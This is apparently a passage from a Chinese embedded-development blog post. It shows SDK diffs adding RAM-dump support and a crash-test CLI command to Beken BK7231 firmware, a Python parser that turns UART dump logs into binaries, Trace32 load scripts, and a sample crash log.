</span></span><span class="line"><span class="cl"> }
</span></span><span class="line"><span class="cl"> 
</span></span><span class="line"><span class="cl"><span class="gu">@@ -413,6 +526,9 @@ void bk_trap_resv(struct arm_registers *regs)
</span></span></span><span class="line"><span class="cl"><span class="gu"></span> #endif
</span></span><span class="line"><span class="cl">     os_printf(&#34;not used\n&#34;);
</span></span><span class="line"><span class="cl">     bk_show_register(regs);
</span></span><span class="line"><span class="cl"><span class="gi">+#if CFG_RAM_DUMP_ENABLE
</span></span></span><span class="line"><span class="cl"><span class="gi">+    bk_ram_dump();
</span></span></span><span class="line"><span class="cl"><span class="gi">+#endif
</span></span></span><span class="line"><span class="cl"><span class="gi"></span>     bk_cpu_shutdown();
</span></span><span class="line"><span class="cl"> }
</span></span><span class="line"><span class="cl"> 
</span></span><span class="line"><span class="cl"><span class="gh">diff --git a/beken_freertos_sdk_release-SDK_3.0.21/beken378/func/wlan_ui/wlan_cli.c b/beken_freertos_sdk_release-SDK_3.0.21/beken378/func/wlan_ui/wlan_cli.c
</span></span></span><span class="line"><span class="cl"><span class="gh">index c90de09e..50b3adb1 100644
</span></span></span><span class="line"><span class="cl"><span class="gh"></span><span class="gd">--- a/beken_freertos_sdk_release-SDK_3.0.21/beken378/func/wlan_ui/wlan_cli.c
</span></span></span><span class="line"><span class="cl"><span class="gd"></span><span class="gi">+++ b/beken_freertos_sdk_release-SDK_3.0.21/beken378/func/wlan_ui/wlan_cli.c
</span></span></span><span class="line"><span class="cl"><span class="gi"></span><span class="gu">@@ -3306,6 +3306,12 @@ void pwr_Command(char *pcWriteBuffer, int xWriteBufferLen, int argc, char **argv
</span></span></span><span class="line"><span class="cl"><span class="gu"></span>     rw_msg_set_power(0,pwr);
</span></span><span class="line"><span class="cl"> }
</span></span><span class="line"><span class="cl"> 
</span></span><span class="line"><span class="cl"><span class="gi">+extern void do_undefined( void );
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+void dump_test_Command(char *pcWriteBuffer, int xWriteBufferLen, int argc, char **argv)
</span></span></span><span class="line"><span class="cl"><span class="gi">+{
</span></span></span><span class="line"><span class="cl"><span class="gi">+    do_undefined();
</span></span></span><span class="line"><span class="cl"><span class="gi">+}
</span></span></span><span class="line"><span class="cl"><span class="gi"></span> static void Deep_Sleep_Command(char *pcWriteBuffer, int xWriteBufferLen, int argc, char **argv)
</span></span><span class="line"><span class="cl"> {
</span></span><span class="line"><span class="cl"> 	PS_DEEP_CTRL_PARAM deep_sleep_param;
</span></span><span class="line"><span class="cl"><span class="gu">@@ -3974,6 +3980,9 @@ static const struct cli_command user_clis[] =
</span></span></span><span class="line"><span class="cl"><span class="gu"></span> #if (CFG_SOC_NAME == SOC_BK7221U)
</span></span><span class="line"><span class="cl">     {&#34;sec&#34;, &#34;sec help&#34;, sec_Command },
</span></span><span class="line"><span class="cl"> #endif
</span></span><span class="line"><span class="cl"><span class="gi">+#if CFG_RAM_DUMP_ENABLE
</span></span></span><span class="line"><span class="cl"><span class="gi">+    {&#34;dump_test&#34;, &#34;dump_test&#34;, dump_test_Command},
</span></span></span><span class="line"><span class="cl"><span class="gi">+#endif
</span></span></span><span class="line"><span class="cl"><span class="gi"></span> };
</span></span><span class="line"><span class="cl"> 
</span></span><span class="line"><span class="cl"> 
</span></span><span class="line"><span class="cl"><span class="gh">diff --git a/beken_freertos_sdk_release-SDK_3.0.21/quectel_build/scripts/bk_dump_parser.py b/beken_freertos_sdk_release-SDK_3.0.21/quectel_build/scripts/bk_dump_parser.py
</span></span></span><span class="line"><span class="cl"><span class="gh"></span>new file mode 100644
</span></span><span class="line"><span class="cl"><span class="gh">index 00000000..f59289b4
</span></span></span><span class="line"><span class="cl"><span class="gh"></span><span class="gd">--- /dev/null
</span></span></span><span class="line"><span class="cl"><span class="gd"></span><span class="gi">+++ b/beken_freertos_sdk_release-SDK_3.0.21/quectel_build/scripts/bk_dump_parser.py
</span></span></span><span class="line"><span class="cl"><span class="gi"></span><span class="gu">@@ -0,0 +1,91 @@
</span></span></span><span class="line"><span class="cl"><span class="gu"></span><span class="gi">+#!/usr/bin/env python3
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+import os
</span></span></span><span class="line"><span class="cl"><span class="gi">+import sys
</span></span></span><span class="line"><span class="cl"><span class="gi">+import optparse
</span></span></span><span class="line"><span class="cl"><span class="gi">+import binascii
</span></span></span><span class="line"><span class="cl"><span class="gi">+import re
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+def parse_dump_log_file(filename):
</span></span></span><span class="line"><span class="cl"><span class="gi">+    reg_cmm = &#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="gi">+    tcm_data = &#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="gi">+    ram_data = &#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="gi">+    f = open(filename, &#34;r&#34;)
</span></span></span><span class="line"><span class="cl"><span class="gi">+    while True:
</span></span></span><span class="line"><span class="cl"><span class="gi">+        line = f.readline()
</span></span></span><span class="line"><span class="cl"><span class="gi">+        if line == &#34;&#34;:
</span></span></span><span class="line"><span class="cl"><span class="gi">+            break
</span></span></span><span class="line"><span class="cl"><span class="gi">+        if &#34;reg_cmm_start:&#34; in line:
</span></span></span><span class="line"><span class="cl"><span class="gi">+            while True:
</span></span></span><span class="line"><span class="cl"><span class="gi">+                line = f.readline()
</span></span></span><span class="line"><span class="cl"><span class="gi">+                if line  == &#34;&#34;:
</span></span></span><span class="line"><span class="cl"><span class="gi">+                    break
</span></span></span><span class="line"><span class="cl"><span class="gi">+                if &#34;reg_cmm_end:&#34; in line:
</span></span></span><span class="line"><span class="cl"><span class="gi">+                    break
</span></span></span><span class="line"><span class="cl"><span class="gi">+                pattern = re.compile(r&#39;register\.set [^\n]+&#39;)
</span></span></span><span class="line"><span class="cl"><span class="gi">+                matches = pattern.findall(line)
</span></span></span><span class="line"><span class="cl"><span class="gi">+                if len(matches) &gt; 0:
</span></span></span><span class="line"><span class="cl"><span class="gi">+                    reg_cmm += matches[0] + &#34;\r\n&#34;
</span></span></span><span class="line"><span class="cl"><span class="gi">+        if &#34;tcm_start:&#34; in line:
</span></span></span><span class="line"><span class="cl"><span class="gi">+            while True:
</span></span></span><span class="line"><span class="cl"><span class="gi">+                line = f.readline()
</span></span></span><span class="line"><span class="cl"><span class="gi">+                if line  == &#34;&#34;:
</span></span></span><span class="line"><span class="cl"><span class="gi">+                    break
</span></span></span><span class="line"><span class="cl"><span class="gi">+                if &#34;tcm_end:&#34; in line:
</span></span></span><span class="line"><span class="cl"><span class="gi">+                    break
</span></span></span><span class="line"><span class="cl"><span class="gi">+                
</span></span></span><span class="line"><span class="cl"><span class="gi">+                pattern = re.compile(r&#39;(?:\[\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}\]\s*)?((?:[0-9a-fA-F]{2}\s*){16})&#39;)
</span></span></span><span class="line"><span class="cl"><span class="gi">+                matches = pattern.findall(line)
</span></span></span><span class="line"><span class="cl"><span class="gi">+                if len(matches) &gt; 0:
</span></span></span><span class="line"><span class="cl"><span class="gi">+                    tcm_data += matches[0]
</span></span></span><span class="line"><span class="cl"><span class="gi">+                
</span></span></span><span class="line"><span class="cl"><span class="gi">+        if &#34;ram_start:&#34; in line:
</span></span></span><span class="line"><span class="cl"><span class="gi">+            while True:
</span></span></span><span class="line"><span class="cl"><span class="gi">+                line = f.readline()
</span></span></span><span class="line"><span class="cl"><span class="gi">+                if line  == &#34;&#34;:
</span></span></span><span class="line"><span class="cl"><span class="gi">+                    break
</span></span></span><span class="line"><span class="cl"><span class="gi">+                if &#34;ram_end:&#34; in line:
</span></span></span><span class="line"><span class="cl"><span class="gi">+                    break
</span></span></span><span class="line"><span class="cl"><span class="gi">+                
</span></span></span><span class="line"><span class="cl"><span class="gi">+                pattern = re.compile(r&#39;(?:\[\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}\]\s*)?((?:[0-9a-fA-F]{2}\s*){16})&#39;)
</span></span></span><span class="line"><span class="cl"><span class="gi">+                matches = pattern.findall(line)
</span></span></span><span class="line"><span class="cl"><span class="gi">+                if len(matches) &gt; 0:
</span></span></span><span class="line"><span class="cl"><span class="gi">+                    ram_data += matches[0]
</span></span></span><span class="line"><span class="cl"><span class="gi">+            break
</span></span></span><span class="line"><span class="cl"><span class="gi">+    f.close()
</span></span></span><span class="line"><span class="cl"><span class="gi">+    return (reg_cmm, tcm_data, ram_data)
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+def main(argv):
</span></span></span><span class="line"><span class="cl"><span class="gi">+    opt = optparse.OptionParser(usage=&#34;&#34;&#34;usage %prog [options]
</span></span></span><span class="line"><span class="cl"><span class="gi">+    &#34;&#34;&#34;)
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+    opt.add_option(&#34;--log&#34;, action=&#34;store&#34;, dest=&#34;log&#34;,
</span></span></span><span class="line"><span class="cl"><span class="gi">+                   help=&#34;dump log file.&#34;)
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+    opt, argv = opt.parse_args(argv)
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+    if not opt.log:
</span></span></span><span class="line"><span class="cl"><span class="gi">+        print(&#34;No log file specified!&#34;)
</span></span></span><span class="line"><span class="cl"><span class="gi">+        return 1
</span></span></span><span class="line"><span class="cl"><span class="gi">+    reg_cmm, tcm_data, ram_data = parse_dump_log_file(opt.log)
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+    if reg_cmm != &#34;&#34;:
</span></span></span><span class="line"><span class="cl"><span class="gi">+        with open(&#34;reg.cmm&#34;, &#34;w&#34;) as f:
</span></span></span><span class="line"><span class="cl"><span class="gi">+            f.write(reg_cmm)
</span></span></span><span class="line"><span class="cl"><span class="gi">+    if tcm_data != &#34;&#34;:
</span></span></span><span class="line"><span class="cl"><span class="gi">+        tcm_data = tcm_data.replace(&#34; &#34;, &#34;&#34;).replace(&#34;\n&#34;, &#34;&#34;).replace(&#34;\r&#34;, &#34;&#34;)
</span></span></span><span class="line"><span class="cl"><span class="gi">+        bin_data = binascii.unhexlify(tcm_data)
</span></span></span><span class="line"><span class="cl"><span class="gi">+        with open(&#34;tcm.bin&#34;, &#34;wb&#34;) as f:
</span></span></span><span class="line"><span class="cl"><span class="gi">+            f.write(bin_data)
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+    if ram_data != &#34;&#34;:
</span></span></span><span class="line"><span class="cl"><span class="gi">+        ram_data = ram_data.replace(&#34; &#34;, &#34;&#34;).replace(&#34;\n&#34;, &#34;&#34;).replace(&#34;\r&#34;, &#34;&#34;)
</span></span></span><span class="line"><span class="cl"><span class="gi">+        bin_data = binascii.unhexlify(ram_data)
</span></span></span><span class="line"><span class="cl"><span class="gi">+        with open(&#34;ram.bin&#34;, &#34;wb&#34;) as f:
</span></span></span><span class="line"><span class="cl"><span class="gi">+            f.write(bin_data)
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+if __name__ == &#39;__main__&#39;:
</span></span></span><span class="line"><span class="cl"><span class="gi">+    sys.exit(main(sys.argv[1:]))
</span></span></span><span class="line"><span class="cl"><span class="gi"></span>\ No newline at end of file
</span></span></code></pre></td></tr></table>
</div>
</div><p>Trace32 Simulators 环境的搭建参考之前的文章：<a href="https://hacperme.com/posts/series/dump/20230401_t32_setup/">Trace 32 离线 dump 分析环境搭建方法</a>，在这个基础上新增 Trace32 脚本，用于加载和解析 ramdump 文件。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-diff" data-lang="diff"><span class="line"><span class="cl"><span class="gh">diff --git a/T32_beken_7231.bat b/T32_beken_7231.bat
</span></span></span><span class="line"><span class="cl"><span class="gh"></span>new file mode 100644
</span></span><span class="line"><span class="cl"><span class="gh">index 0000000..2b69bb0
</span></span></span><span class="line"><span class="cl"><span class="gh"></span><span class="gd">--- /dev/null
</span></span></span><span class="line"><span class="cl"><span class="gd"></span><span class="gi">+++ b/T32_beken_7231.bat
</span></span></span><span class="line"><span class="cl"><span class="gi"></span><span class="gu">@@ -0,0 +1,5 @@
</span></span></span><span class="line"><span class="cl"><span class="gu"></span><span class="gi">+@echo off
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+echo Load Trace32
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+start t32marm.exe -c config.t32, bk7231.cmm &amp;
</span></span></span><span class="line"><span class="cl"><span class="gi"></span>\ No newline at end of file
</span></span><span class="line"><span class="cl"><span class="gh">diff --git a/bk7231.cmm b/bk7231.cmm
</span></span></span><span class="line"><span class="cl"><span class="gh"></span>new file mode 100644
</span></span><span class="line"><span class="cl"><span class="gh">index 0000000..4152765
</span></span></span><span class="line"><span class="cl"><span class="gh"></span><span class="gd">--- /dev/null
</span></span></span><span class="line"><span class="cl"><span class="gd"></span><span class="gi">+++ b/bk7231.cmm
</span></span></span><span class="line"><span class="cl"><span class="gi"></span><span class="gu">@@ -0,0 +1,27 @@
</span></span></span><span class="line"><span class="cl"><span class="gu"></span><span class="gi">+; ARM load script
</span></span></span><span class="line"><span class="cl"><span class="gi">+screen.on
</span></span></span><span class="line"><span class="cl"><span class="gi">+SYStem.RESet
</span></span></span><span class="line"><span class="cl"><span class="gi">+SYStem.CPU ARM968E
</span></span></span><span class="line"><span class="cl"><span class="gi">+SYStem.Up
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+&amp;psd=os.psd()
</span></span></span><span class="line"><span class="cl"><span class="gi">+&amp;dump_dir=&#34;bkdump&#34;
</span></span></span><span class="line"><span class="cl"><span class="gi">+&amp;ap_elf_file=&#34;beken7231_bsp.elf&#34;
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+DATA.LOAD.ELF &amp;dump_dir\&amp;ap_elf_file /NOCLEAR
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+;DATA.LOAD.BINARY &amp;dump_dir\itcm.bin 0x003FF000 /NOCLEAR
</span></span></span><span class="line"><span class="cl"><span class="gi">+DATA.LOAD.BINARY &amp;dump_dir\tcm.bin 0x003F0000 /NOCLEAR
</span></span></span><span class="line"><span class="cl"><span class="gi">+DATA.LOAD.BINARY &amp;dump_dir\ram.bin 0x00400100 /NOCLEAR
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+; CPU Registers:
</span></span></span><span class="line"><span class="cl"><span class="gi">+do &amp;dump_dir\reg.cmm
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+MENU.REPROGRAM &amp;psd\freertos\freertos.men
</span></span></span><span class="line"><span class="cl"><span class="gi">+TASK.CONFIG &amp;psd\freertos\freertos.t32
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+B::Var.Frame /Locals /Caller
</span></span></span><span class="line"><span class="cl"><span class="gi">+B::Register
</span></span></span><span class="line"><span class="cl"><span class="gi">+B::Data.List
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span></code></pre></td></tr></table>
</div>
</div><h2 id="使用示例">使用示例</h2>
<p>dump log：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">  1
</span><span class="lnt">  2
</span><span class="lnt">  3
</span><span class="lnt">  4
</span><span class="lnt">  5
</span><span class="lnt">  6
</span><span class="lnt">  7
</span><span class="lnt">  8
</span><span class="lnt">  9
</span><span class="lnt"> 10
</span><span class="lnt"> 11
</span><span class="lnt"> 12
</span><span class="lnt"> 13
</span><span class="lnt"> 14
</span><span class="lnt"> 15
</span><span class="lnt"> 16
</span><span class="lnt"> 17
</span><span class="lnt"> 18
</span><span class="lnt"> 19
</span><span class="lnt"> 20
</span><span class="lnt"> 21
</span><span class="lnt"> 22
</span><span class="lnt"> 23
</span><span class="lnt"> 24
</span><span class="lnt"> 25
</span><span class="lnt"> 26
</span><span class="lnt"> 27
</span><span class="lnt"> 28
</span><span class="lnt"> 29
</span><span class="lnt"> 30
</span><span class="lnt"> 31
</span><span class="lnt"> 32
</span><span class="lnt"> 33
</span><span class="lnt"> 34
</span><span class="lnt"> 35
</span><span class="lnt"> 36
</span><span class="lnt"> 37
</span><span class="lnt"> 38
</span><span class="lnt"> 39
</span><span class="lnt"> 40
</span><span class="lnt"> 41
</span><span class="lnt"> 42
</span><span class="lnt"> 43
</span><span class="lnt"> 44
</span><span class="lnt"> 45
</span><span class="lnt"> 46
</span><span class="lnt"> 47
</span><span class="lnt"> 48
</span><span class="lnt"> 49
</span><span class="lnt"> 50
</span><span class="lnt"> 51
</span><span class="lnt"> 52
</span><span class="lnt"> 53
</span><span class="lnt"> 54
</span><span class="lnt"> 55
</span><span class="lnt"> 56
</span><span class="lnt"> 57
</span><span class="lnt"> 58
</span><span class="lnt"> 59
</span><span class="lnt"> 60
</span><span class="lnt"> 61
</span><span class="lnt"> 62
</span><span class="lnt"> 63
</span><span class="lnt"> 64
</span><span class="lnt"> 65
</span><span class="lnt"> 66
</span><span class="lnt"> 67
</span><span class="lnt"> 68
</span><span class="lnt"> 69
</span><span class="lnt"> 70
</span><span class="lnt"> 71
</span><span class="lnt"> 72
</span><span class="lnt"> 73
</span><span class="lnt"> 74
</span><span class="lnt"> 75
</span><span class="lnt"> 76
</span><span class="lnt"> 77
</span><span class="lnt"> 78
</span><span class="lnt"> 79
</span><span class="lnt"> 80
</span><span class="lnt"> 81
</span><span class="lnt"> 82
</span><span class="lnt"> 83
</span><span class="lnt"> 84
</span><span class="lnt"> 85
</span><span class="lnt"> 86
</span><span class="lnt"> 87
</span><span class="lnt"> 88
</span><span class="lnt"> 89
</span><span class="lnt"> 90
</span><span class="lnt"> 91
</span><span class="lnt"> 92
</span><span class="lnt"> 93
</span><span class="lnt"> 94
</span><span class="lnt"> 95
</span><span class="lnt"> 96
</span><span class="lnt"> 97
</span><span class="lnt"> 98
</span><span class="lnt"> 99
</span><span class="lnt">100
</span><span class="lnt">101
</span><span class="lnt">102
</span><span class="lnt">103
</span><span class="lnt">104
</span><span class="lnt">105
</span><span class="lnt">106
</span><span class="lnt">107
</span><span class="lnt">108
</span><span class="lnt">109
</span><span class="lnt">110
</span><span class="lnt">111
</span><span class="lnt">112
</span><span class="lnt">113
</span><span class="lnt">114
</span><span class="lnt">115
</span><span class="lnt">116
</span><span class="lnt">117
</span><span class="lnt">118
</span><span class="lnt">119
</span><span class="lnt">120
</span><span class="lnt">121
</span><span class="lnt">122
</span><span class="lnt">123
</span><span class="lnt">124
</span><span class="lnt">125
</span><span class="lnt">126
</span><span class="lnt">127
</span><span class="lnt">128
</span><span class="lnt">129
</span><span class="lnt">130
</span><span class="lnt">131
</span><span class="lnt">132
</span><span class="lnt">133
</span><span class="lnt">134
</span><span class="lnt">135
</span><span class="lnt">136
</span><span class="lnt">137
</span><span class="lnt">138
</span><span class="lnt">139
</span><span class="lnt">140
</span><span class="lnt">141
</span><span class="lnt">142
</span><span class="lnt">143
</span><span class="lnt">144
</span><span class="lnt">145
</span><span class="lnt">146
</span><span class="lnt">147
</span><span class="lnt">148
</span><span class="lnt">149
</span><span class="lnt">150
</span><span class="lnt">151
</span><span class="lnt">152
</span><span class="lnt">153
</span><span class="lnt">154
</span><span class="lnt">155
</span><span class="lnt">156
</span><span class="lnt">157
</span><span class="lnt">158
</span><span class="lnt">159
</span><span class="lnt">160
</span><span class="lnt">161
</span><span class="lnt">162
</span><span class="lnt">163
</span><span class="lnt">164
</span><span class="lnt">165
</span><span class="lnt">166
</span><span class="lnt">167
</span><span class="lnt">168
</span><span class="lnt">169
</span><span class="lnt">170
</span><span class="lnt">171
</span><span class="lnt">172
</span><span class="lnt">173
</span><span class="lnt">174
</span><span class="lnt">175
</span><span class="lnt">176
</span><span class="lnt">177
</span><span class="lnt">178
</span><span class="lnt">179
</span><span class="lnt">180
</span><span class="lnt">181
</span><span class="lnt">182
</span><span class="lnt">183
</span><span class="lnt">184
</span><span class="lnt">185
</span><span class="lnt">186
</span><span class="lnt">187
</span><span class="lnt">188
</span><span class="lnt">189
</span><span class="lnt">190
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">=~=~=~=~=~=~=~=~=~=~=~= MobaXterm log 2024.07.23 15:34:18 =~=~=~=~=~=~=~=~=~=~=~=
</span></span><span class="line"><span class="cl">BK7231n_1.0.8
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:18]  CPSR:0x000000D3
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:18]  R0:0x00800000
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:18]  R1:0x00000000
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:18]  R2:0x00000003
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:18]  R3:0x000000A5
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:18]  R4:0x00401170
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:18]  R13:0x00401AD4
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:18]  R14(LR):0x000011D4
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:18]  ST:0x00000000
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:18]  [I/FAL] Fal(V0.4.0)success
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:18]  [I/OTA] RT-Thread OTA package(V0.2.4) initialize success.
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:18]  
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:18]  
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:18]  go os_addr(0x10000)..........
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:18]  j
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:18]  prvHeapInit-start addr:0x40aa90, size:152944
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:18]  [Flash]id:0xeb6015
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:18]  --write status reg:4004,2--
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:18]  [Flash]init over
</span></span><span class="line"><span class="cl">... ...
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:22]  
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:22]  configuring interface uap (with Static IP)[THD]dhcp-server:[tcb]413e18 [stack]413988-413e08:1152:2
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:22]  def netif is no ap&#39;s netif, sending boardcast or no-subnet ip packets may failed
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:22]  init_xtal:0, delta:-1, last_xtal:0
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:22]  
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:25]  # dum
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:28]  [ATSVR]msg type:7
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:28]  p_test
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  undefined instruction
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  Current regs:
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  r00:0x004157d0 r01:0x00000800 r02:0x00000001 r03:0x004157d0
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  r04:0x0003c851 r05:0x003f03d8 r06:0x003f0398 r07:0x003f03d8
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  r08:0x08080808 r09:0x09090909 r10:0x10101010
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  fp :0x11111111 ip :0x00000070
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  sp :0x004014f0 lr :0x000102c4 pc :0x000102c4
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  SPSR:0x0000003f
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  CPSR:0x0000009b
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  separate regs:
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  SYS:cpsr r8-r14
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x0000009f
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x08080808
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x09090909
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x10101010
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x11111111
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x00000070
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x00416bc0
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x0003c857
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  IRQ:cpsr spsr r8-r14
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x00000092
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x6000003f
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x08080808
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x09090909
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x10101010
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x11111111
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x00000070
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x00402e28
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x00054cde
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  FIR:cpsr spsr r8-r14
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x00000091
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x6000009f
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x00000000
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x00000000
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x00000000
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x00000000
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x00000008
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x00401e38
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x003fff34
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  ABT:cpsr spsr r8-r14
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x00000097
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x00000010
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x08080808
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x09090909
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x10101010
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x11111111
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x00000070
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x00401538
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0xc7109030
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  UND:cpsr spsr r8-r14
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x0000009b
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x0000003f
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x08080808
</span></span><span class="line"><span class="cl">[2024-07-23 15:34:31]  0x09090909
